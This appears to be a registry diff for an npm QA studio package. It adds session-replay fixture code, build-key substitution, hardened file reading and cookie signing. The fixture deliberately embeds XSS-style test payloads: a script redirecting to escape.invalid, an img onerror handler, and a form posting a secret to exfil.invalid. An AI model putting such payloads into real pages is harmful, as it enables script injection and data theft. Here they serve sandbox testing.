@open-qa/qa-studio 0.0.0-stage → 0.1.0-alpha.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,261 @@
1
+ import { mkdir, writeFile } from "node:fs/promises";
2
+ import { join } from "node:path";
3
+ import { createHash } from "node:crypto";
4
+ import { gzipSync } from "node:zlib";
5
+
6
+ /** Local fake data only. Shared by the reader contract and browser verification. */
7
+ export async function runFixture(root, id = "checkout", failureView = "web") {
8
+ const directory = join(root, "runs", id),
9
+ stage = join(directory, "stage");
10
+ await mkdir(join(stage, "views/web"), { recursive: true });
11
+ await mkdir(join(stage, "assets"), { recursive: true });
12
+ const hash = (bytes) => createHash("sha256").update(bytes).digest("hex");
13
+ const css = Buffer.from(
14
+ "body{margin:0;padding:40px;background:#f4f5f7;color:#20242a;font-family:system-ui}h1{font-size:32px}#state{padding:24px;border:1px solid #aaa;background:white;border-radius:12px}"
15
+ );
16
+ const digest = hash(css);
17
+ await writeFile(join(stage, "assets", digest), css);
18
+ await writeFile(
19
+ join(stage, "assets/index.json"),
20
+ JSON.stringify({
21
+ "https://fixture.invalid/app.css": { hash: digest, mime: "text/css", bytes: css.length },
22
+ })
23
+ );
24
+ const text = (id, textContent) => ({ id, type: 3, textContent });
25
+ const element = (id, tagName, attributes = {}, childNodes = []) => ({
26
+ id,
27
+ type: 2,
28
+ tagName,
29
+ attributes,
30
+ childNodes,
31
+ });
32
+ const records = [
33
+ {
34
+ type: 4,
35
+ timestamp: 100000,
36
+ data: { href: "https://fixture.invalid/checkout", width: 1000, height: 560 },
37
+ },
38
+ {
39
+ type: 2,
40
+ timestamp: 100010,
41
+ data: {
42
+ initialOffset: { top: 0, left: 0 },
43
+ node: {
44
+ type: 0,
45
+ id: 1,
46
+ childNodes: [
47
+ element(2, "html", {}, [
48
+ element(3, "head", {}, [
49
+ element(4, "link", { rel: "stylesheet", href: "https://fixture.invalid/app.css" }),
50
+ ]),
51
+ element(5, "body", {}, [
52
+ element(6, "h1", {}, [text(7, "Synthetic workshop")]),
53
+ element(8, "p", {}, [text(9, "Review your order")]),
54
+ element(10, "div", { id: "state" }, [text(11, "Ready for checkout")]),
55
+ element(12, "script", {}, [
56
+ text(13, 'window.pwned=true;top.location="https://escape.invalid"'),
57
+ ]),
58
+ element(14, "img", {
59
+ alt: "",
60
+ src: "https://exfil.invalid/private",
61
+ onerror: "window.pwned=true",
62
+ }),
63
+ element(15, "form", { action: "https://exfil.invalid/form", method: "POST" }, [
64
+ element(16, "input", {
65
+ name: "secret",
66
+ value: "FAKE_SENTINEL",
67
+ "aria-label": "Test value",
68
+ }),
69
+ element(17, "button", { type: "submit" }, [text(18, "Submit")]),
70
+ ]),
71
+ element(19, "a", { href: "https://escape.invalid", target: "_top" }, [
72
+ text(20, "Escape"),
73
+ ]),
74
+ ]),
75
+ ]),
76
+ ],
77
+ },
78
+ },
79
+ },
80
+ {
81
+ type: 3,
82
+ timestamp: 110000,
83
+ data: { source: 1, positions: [{ x: 250, y: 200, id: 10, timeOffset: 0 }] },
84
+ },
85
+ {
86
+ type: 3,
87
+ timestamp: 131000,
88
+ data: {
89
+ source: 0,
90
+ texts: [{ id: 11, value: "Checkout unavailable" }],
91
+ attributes: [],
92
+ removes: [],
93
+ adds: [],
94
+ },
95
+ },
96
+ {
97
+ type: 3,
98
+ timestamp: 139000,
99
+ data: {
100
+ source: 0,
101
+ texts: [{ id: 11, value: "Later page state" }],
102
+ attributes: [],
103
+ removes: [],
104
+ adds: [],
105
+ },
106
+ },
107
+ ];
108
+ const rows = records.map((event, i) => ({
109
+ seq: i + 1,
110
+ t: event.timestamp - 100000,
111
+ view: "web",
112
+ event,
113
+ }));
114
+ const index = {
115
+ schemaVersion: 1,
116
+ view: "web",
117
+ calibrations: [{ document: "doc", seq: 1, browserTime: 100000, t: 0 }],
118
+ checkpoints: [
119
+ {
120
+ meta: { block: "000001.ndjson.gz", seq: 1 },
121
+ snapshot: { block: "000001.ndjson.gz", seq: 2 },
122
+ },
123
+ ],
124
+ blocks: [],
125
+ };
126
+ for (const [i, entries] of [rows.slice(0, 2), rows.slice(2)].entries()) {
127
+ const raw = Buffer.from(entries.map((row) => JSON.stringify(row)).join("\n") + "\n"),
128
+ bytes = gzipSync(raw),
129
+ path = `00000${i + 1}.ndjson.gz`;
130
+ await writeFile(join(stage, "views/web", path), bytes);
131
+ index.blocks.push({
132
+ path,
133
+ bytes: bytes.length,
134
+ rawBytes: raw.length,
135
+ sha256: hash(bytes),
136
+ seq: { first: entries[0].seq, last: entries.at(-1).seq },
137
+ t: { first: entries[0].t, last: entries.at(-1).t },
138
+ timestamp: { first: entries[0].event.timestamp, last: entries.at(-1).event.timestamp },
139
+ checkpoint: index.checkpoints[0],
140
+ });
141
+ }
142
+ await writeFile(join(stage, "views/web/index.json"), JSON.stringify(index));
143
+ await writeFile(
144
+ join(stage, "manifest.json"),
145
+ JSON.stringify({
146
+ schemaVersion: 1,
147
+ format: "rrweb",
148
+ recorder: { name: "@rrweb/record", version: "2.1.7" },
149
+ player: { name: "@rrweb/replay", version: "2.1.7" },
150
+ assets: "assets/index.json",
151
+ views: [
152
+ {
153
+ view: "web",
154
+ index: "views/web/index.json",
155
+ browser: "chromium",
156
+ viewport: { width: 1000, height: 560 },
157
+ segments: [{ document: "doc", firstSeq: 1, lastSeq: 5, missing: [] }],
158
+ },
159
+ ],
160
+ warnings: [],
161
+ })
162
+ );
163
+ const anchor = {
164
+ kind: "record_started",
165
+ by: "conductor",
166
+ t: 0,
167
+ seq: 1,
168
+ format: "rrweb",
169
+ view: "web",
170
+ index: "views/web/index.json",
171
+ };
172
+ await writeFile(join(stage, "events.ndjson"), JSON.stringify(anchor) + "\n");
173
+ const events = [
174
+ {
175
+ kind: "run_phase",
176
+ by: "conductor",
177
+ t: 0,
178
+ phase: "queued",
179
+ runtime: "codex",
180
+ modelAccess: "login",
181
+ },
182
+ anchor,
183
+ { kind: "step_started", by: "conductor", t: 1000, actor: "visitor", step: "checkout" },
184
+ {
185
+ kind: "agent_text",
186
+ by: "agent",
187
+ t: 2000,
188
+ actor: "visitor",
189
+ step: "checkout",
190
+ text: "Check the order confirmation.",
191
+ },
192
+ {
193
+ kind: "console",
194
+ by: "system",
195
+ t: 31000,
196
+ view: "web",
197
+ step: "checkout",
198
+ level: "error",
199
+ text: "Checkout unavailable",
200
+ },
201
+ {
202
+ kind: "expect_result",
203
+ by: "conductor",
204
+ t: 31100,
205
+ actor: "visitor",
206
+ step: "checkout",
207
+ condition: {
208
+ type: "web.visible",
209
+ ...(failureView ? { view: failureView } : {}),
210
+ text: "Order confirmed",
211
+ },
212
+ result: { passed: false, evidence: {}, reason: "Order confirmation missing" },
213
+ },
214
+ {
215
+ kind: "step_finished",
216
+ by: "conductor",
217
+ t: 31125,
218
+ actor: "visitor",
219
+ step: "checkout",
220
+ status: "failed",
221
+ reason: "Order confirmation missing",
222
+ },
223
+ { kind: "step_started", by: "conductor", t: 32000, actor: "visitor", step: "inspect" },
224
+ {
225
+ kind: "run_finished",
226
+ by: "conductor",
227
+ t: 42000,
228
+ verdict: "failed",
229
+ reason: "Order confirmation missing",
230
+ },
231
+ ].map((e, i) => ({ ...e, seq: i + 1 }));
232
+ const log = events.map((e) => JSON.stringify(e)).join("\n") + "\n";
233
+ await writeFile(join(directory, "events.ndjson"), log + "UNCOMMITTED_SENTINEL");
234
+ await writeFile(
235
+ join(directory, "run.json"),
236
+ JSON.stringify({
237
+ run: {
238
+ id,
239
+ flow: "Checkout confirmation",
240
+ startedAt: 1792978200000,
241
+ metadata: { executionSnapshot: { secret: "SNAPSHOT_SENTINEL" } },
242
+ },
243
+ eventIndex: {
244
+ bytes: Buffer.byteLength(log),
245
+ count: events.length,
246
+ lastSeq: events.length,
247
+ lastT: 42000,
248
+ },
249
+ result: {
250
+ verdict: "failed",
251
+ finishedAt: 1792978242000,
252
+ reason: "Order confirmation missing",
253
+ },
254
+ })
255
+ );
256
+ await writeFile(
257
+ join(directory, "report.html"),
258
+ "<!doctype html><title>Fixture report</title><p>Checkout confirmation</p>"
259
+ );
260
+ return { directory, stage, index, digest };
261
+ }
@@ -0,0 +1,71 @@
1
+ import assert from "node:assert/strict";
2
+ import { Buffer } from "node:buffer";
3
+ import { randomBytes } from "node:crypto";
4
+ import { readFile, readdir, rm, writeFile } from "node:fs/promises";
5
+ import path from "node:path";
6
+
7
+ const placeholders = {
8
+ previewModeId: "__OPEN_QA_PREVIEW_ID__",
9
+ previewModeSigningKey: "__OPEN_QA_PREVIEW_SIGNING__",
10
+ previewModeEncryptionKey: "__OPEN_QA_PREVIEW_ENCRYPTION__",
11
+ encryptionKey: "__OPEN_QA_ACTIONS_ENCRYPTION__",
12
+ };
13
+ async function files(root) {
14
+ const result = [];
15
+ for (const entry of await readdir(root, { withFileTypes: true })) {
16
+ if (entry.name === "node_modules") continue;
17
+ const file = path.join(root, entry.name);
18
+ if (entry.isDirectory()) result.push(...(await files(file)));
19
+ else if (entry.isFile()) result.push(file);
20
+ }
21
+ return result;
22
+ }
23
+ async function substitute(inputs, replacements) {
24
+ const counts = new Map([...replacements.keys()].map((value) => [value, 0]));
25
+ for (const file of inputs) {
26
+ const bytes = await readFile(file);
27
+ if (![...replacements.keys()].some((value) => bytes.includes(value))) continue;
28
+ let text = bytes.toString("utf8");
29
+ assert(Buffer.from(text).equals(bytes), "Key found in unsupported binary build asset");
30
+ for (const [before, after] of replacements) {
31
+ counts.set(before, counts.get(before) + text.split(before).length - 1);
32
+ text = text.replaceAll(before, after);
33
+ }
34
+ await writeFile(file, text);
35
+ }
36
+ assert(
37
+ [...counts.values()].every((count) => count > 0),
38
+ "Missing expected Studio key references"
39
+ );
40
+ }
41
+ export async function stripBuildKeys(nextRoot) {
42
+ await rm(path.join(nextRoot, "cache"), { recursive: true, force: true });
43
+ const inputs = await files(nextRoot);
44
+ const replacements = new Map();
45
+ const fields = new Set();
46
+ for (const file of inputs) {
47
+ if (!/\/(?:prerender-manifest|server-reference-manifest)\.json$/.test(file)) continue;
48
+ const manifest = JSON.parse(await readFile(file, "utf8"));
49
+ const values = file.endsWith("prerender-manifest.json") ? manifest.preview : manifest;
50
+ for (const [field, placeholder] of Object.entries(placeholders)) {
51
+ const value = values?.[field];
52
+ if (value === undefined) continue;
53
+ assert(typeof value === "string" && value.length >= 16, "Invalid Studio build key shape");
54
+ replacements.set(value, placeholder);
55
+ fields.add(field);
56
+ }
57
+ }
58
+ assert.equal(fields.size, Object.keys(placeholders).length, "Missing Studio key manifests");
59
+ await substitute(inputs, replacements);
60
+ }
61
+ export async function hydrateRuntimeKeys(runtimeRoot) {
62
+ const replacements = new Map(
63
+ Object.entries(placeholders).map(([field, placeholder]) => [
64
+ placeholder,
65
+ randomBytes(field === "previewModeId" ? 16 : 32).toString(
66
+ field === "encryptionKey" ? "base64" : "hex"
67
+ ),
68
+ ])
69
+ );
70
+ await substitute(await files(runtimeRoot), replacements);
71
+ }
@@ -0,0 +1,21 @@
1
+ import { hydrateRuntimeKeys } from "./runtime-keys.mjs";
2
+ import { mkdir, mkdtemp, rm } from "node:fs/promises";
3
+ import { execFile } from "node:child_process";
4
+ import { promisify } from "node:util";
5
+ import { homedir } from "node:os";
6
+ import path from "node:path";
7
+ const execute = promisify(execFile);
8
+ export async function unpack(appRoot) {
9
+ const cache = path.join(homedir(), ".cache/open-qa/studio");
10
+ await mkdir(cache, { recursive: true, mode: 0o700 });
11
+ const root = await mkdtemp(path.join(cache, "runtime-"));
12
+ const cleanup = () => rm(root, { recursive: true, force: true });
13
+ try {
14
+ await execute("tar", ["-xzf", path.join(appRoot, "runtime/standalone.tar.gz"), "-C", root]);
15
+ await hydrateRuntimeKeys(root);
16
+ return { server: path.join(root, "apps/qa-studio/server.js"), cleanup };
17
+ } catch {
18
+ await cleanup();
19
+ throw new Error("Could not unpack Studio. Install tar and check the local cache directory.");
20
+ }
21
+ }
package/src/files.mjs ADDED
@@ -0,0 +1,66 @@
1
+ import { constants } from "node:fs";
2
+ import { lstat, open, realpath } from "node:fs/promises";
3
+ import path from "node:path";
4
+ import { parse } from "yaml";
5
+
6
+ export async function assertDirectory(root, relative = "") {
7
+ if (path.isAbsolute(relative) || relative.split(/[\\/]/).includes(".."))
8
+ throw new Error("Resource is not accessible");
9
+ let current = path.resolve(root);
10
+ for (const part of ["", ...relative.split(path.sep).filter(Boolean)]) {
11
+ current = path.join(current, part);
12
+ const stat = await lstat(current);
13
+ if (stat.isSymbolicLink() || !stat.isDirectory())
14
+ throw new Error("Studio does not follow linked directories");
15
+ }
16
+ return current;
17
+ }
18
+ export async function readSafeFile(root, relative, limit = 65536) {
19
+ if (
20
+ path.isAbsolute(relative) ||
21
+ relative.split(/[\\/]/).some((p) => !p || p === "." || p === "..")
22
+ )
23
+ throw new Error("Resource is not accessible");
24
+ await assertDirectory(root);
25
+ const file = path.join(root, relative);
26
+ await assertDirectory(root, path.dirname(relative));
27
+ let handle;
28
+ try {
29
+ handle = await open(file, constants.O_RDONLY | constants.O_NOFOLLOW | constants.O_NONBLOCK);
30
+ } catch (error) {
31
+ if (error.code === "ELOOP") throw new Error("Studio does not follow linked files");
32
+ throw error;
33
+ }
34
+ try {
35
+ const stat = await handle.stat();
36
+ if (!stat.isFile() || stat.size > limit) throw new Error("Resource is not accessible");
37
+ const buffer = Buffer.alloc(limit + 1);
38
+ const { bytesRead } = await handle.read(buffer, 0, buffer.length, 0);
39
+ if (bytesRead > limit) throw new Error("Resource is too large");
40
+ return buffer.subarray(0, bytesRead).toString("utf8");
41
+ } finally {
42
+ await handle.close();
43
+ }
44
+ }
45
+ export async function readProject(qaRoot, resolveRoot = true) {
46
+ // Only the selected root is a trust boundary; subsequent reads keep that canonical path.
47
+ const root = await assertDirectory(resolveRoot ? await realpath(qaRoot) : qaRoot);
48
+ const parsed = parse(await readSafeFile(root, "config.yaml"), { maxAliasCount: 0 });
49
+ if (
50
+ !parsed ||
51
+ typeof parsed !== "object" ||
52
+ typeof parsed.projectId !== "string" ||
53
+ !/^[A-Za-z0-9][A-Za-z0-9_-]{0,127}$/.test(parsed.projectId)
54
+ )
55
+ throw new Error("Set a persistent projectId in .qa/config.yaml before opening Studio");
56
+ let timeZone = parsed.timeZone ?? Intl.DateTimeFormat().resolvedOptions().timeZone;
57
+ let timeZoneFallback = false;
58
+ try {
59
+ if (typeof timeZone !== "string" || !timeZone) throw new Error();
60
+ new Intl.DateTimeFormat("en-US", { timeZone }).format(0);
61
+ } catch {
62
+ timeZone = "UTC";
63
+ timeZoneFallback = true;
64
+ }
65
+ return { qaRoot: root, projectId: parsed.projectId, timeZone, timeZoneFallback };
66
+ }
@@ -0,0 +1,31 @@
1
+ export async function checkReady(origin, config, timeout, fetcher = fetch) {
2
+ let response;
3
+ try {
4
+ response = await fetcher(`${origin}/_studio/ready`, {
5
+ headers: { authorization: `Bearer ${config.readyToken}` },
6
+ signal: AbortSignal.timeout(Math.min(1000, timeout)),
7
+ redirect: "error",
8
+ });
9
+ } catch {
10
+ // Connection failures are expected until the child starts listening.
11
+ return false;
12
+ }
13
+ if (response.status >= 500) return false;
14
+ if (!response.ok) throw new Error(`Studio readiness rejected (HTTP ${response.status})`);
15
+ let info;
16
+ try {
17
+ info = await response.json();
18
+ } catch (error) {
19
+ if (error?.name === "AbortError" || error?.name === "TimeoutError") return false;
20
+ throw new Error("Incompatible Studio handshake: invalid JSON");
21
+ }
22
+ for (const field of ["protocol", "fingerprint", "instanceId"])
23
+ if (info?.[field] !== config[field])
24
+ throw new Error(`Incompatible Studio handshake: ${field} mismatch`);
25
+ return true;
26
+ }
27
+
28
+ export function waitForExit(child) {
29
+ if (child.exitCode !== null || child.signalCode) return Promise.resolve();
30
+ return new Promise((resolve) => child.once("exit", resolve));
31
+ }
@@ -0,0 +1,6 @@
1
+ // A pipe survives SIGKILL of the launcher only until its last writer closes.
2
+ process.stdin.once("end", () => {
3
+ setTimeout(() => process.exit(1), 2000).unref();
4
+ process.kill(process.pid, "SIGTERM");
5
+ });
6
+ process.stdin.resume();
@@ -0,0 +1,60 @@
1
+ import { createHmac, randomBytes, timingSafeEqual } from "node:crypto";
2
+
3
+ export function createSession(projectId) {
4
+ return {
5
+ projectId,
6
+ instanceId: randomBytes(16).toString("hex"),
7
+ key: randomBytes(32).toString("hex"),
8
+ nonce: randomBytes(32).toString("hex"),
9
+ consumed: false,
10
+ };
11
+ }
12
+ export function cookieName(session) {
13
+ return `cv-studio-${session.instanceId}`;
14
+ }
15
+ function sign(session, value) {
16
+ return createHmac("sha256", session.key).update(value).digest("base64url");
17
+ }
18
+ function equal(a, b) {
19
+ return (
20
+ typeof a === "string" &&
21
+ typeof b === "string" &&
22
+ Buffer.byteLength(a) === Buffer.byteLength(b) &&
23
+ timingSafeEqual(Buffer.from(a), Buffer.from(b))
24
+ );
25
+ }
26
+ export function exchangeNonce(session, nonce, now = Date.now()) {
27
+ if (session.consumed || !equal(session.nonce, nonce)) return null;
28
+ session.consumed = true;
29
+ const body = Buffer.from(
30
+ JSON.stringify({
31
+ instanceId: session.instanceId,
32
+ projectId: session.projectId,
33
+ expires: now + 8 * 3600000,
34
+ })
35
+ ).toString("base64url");
36
+ return `${body}.${sign(session, body)}`;
37
+ }
38
+ export function verifyCookie(session, value, now = Date.now()) {
39
+ if (!value || value.length > 2048) return false;
40
+ const [body, signature, extra] = value.split(".");
41
+ if (extra || !equal(sign(session, body), signature)) return false;
42
+ try {
43
+ const payload = JSON.parse(Buffer.from(body, "base64url").toString());
44
+ return (
45
+ payload.instanceId === session.instanceId &&
46
+ payload.projectId === session.projectId &&
47
+ payload.expires > now
48
+ );
49
+ } catch {
50
+ return false;
51
+ }
52
+ }
53
+ export function trustedRequest(host, origin, site, port) {
54
+ const expected = `127.0.0.1:${port}`;
55
+ return (
56
+ host === expected &&
57
+ (!origin || origin === `http://${expected}`) &&
58
+ (!site || site === "same-origin" || site === "none")
59
+ );
60
+ }
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2023 shadcn
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
@@ -0,0 +1 @@
1
+ {"protocol":1,"fingerprint":"8a32701f1396d701a141eef07fdface318bf513358681eeb4da36e866f34a6ba","version":"0.1.0-alpha.1","node":"v22.23.4","platform":"linux","arch":"x64","distribution":true}
package/README.md DELETED
@@ -1,3 +0,0 @@
1
- # Temporary Holding Version
2
-
3
- This version is a temporary placeholder for this package. An operational version to replace this has been submitted for review and is awaiting a staged release.